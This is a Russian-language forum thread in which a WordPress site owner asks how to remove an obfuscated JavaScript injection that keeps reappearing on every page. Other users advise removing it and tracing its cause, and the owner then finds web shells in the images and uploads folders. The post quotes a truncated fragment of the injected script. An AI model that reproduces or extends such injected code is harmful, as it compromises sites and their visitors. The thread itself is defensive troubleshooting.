Вордпресс. Как убрать вирус?

44

Aliasst

13 февраля 2013, 10:21

1580

В начале html кода каждой страницы нашего сайта появляется такая вставка :


<html>

<body>

<script language='JavaScript'>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")

...........такие же кракозябры);

</script>

</body>

</html>***65279;

После этого уже идет наш код:

<html>

<head>

и т.д.

Как убрать это? И что это вообще такое? Вирус или нет?

Выкупаем баннерные показы выгодно - тут (http://wizard-banners.com/?ref=aliasst)

456

[umka]

13 февраля 2013, 10:34

#1

1. Удалите весь тэг <script>…</script>

2. Устраните причину его появления

Лог в помощь!

44

Aliasst

13 февраля 2013, 10:40

#2

'[umka:
;11429707']1. Удалите весь тэг <script>…</script>

при удаление этой вставки из index.php ( причем там она в закодированном виде) она снова появляется через несколько секунд

456

[umka]

13 февраля 2013, 10:53

#3

Aliasst:
при удаление этой вставки из index.php ( причем там она в закодированном виде) она снова появляется через несколько секунд

См. пункт 2.

1

505

6666

13 февраля 2013, 11:00

#4

[umka:
;11429777]См. пункт 2.

а так же топик про поиск скриптов и шеллов..

1

Каждое мое сообщение проверила и одобрила Елена Летучая. (c) Для меня очень важно все что Вы говорите! (http://surrealism.ru/123.mp3) .

44

Aliasst

13 февраля 2013, 11:28

#5

Всем спасибо. Шелл оказался был залит в папку images и еще один в uploads. А что теперь делать чтобы его не закачали снова?

Курс биткоина превысил $50 тысяч

Тренды маркетинга в 2024 году: мобильные продажи, углубленная аналитика и ИИ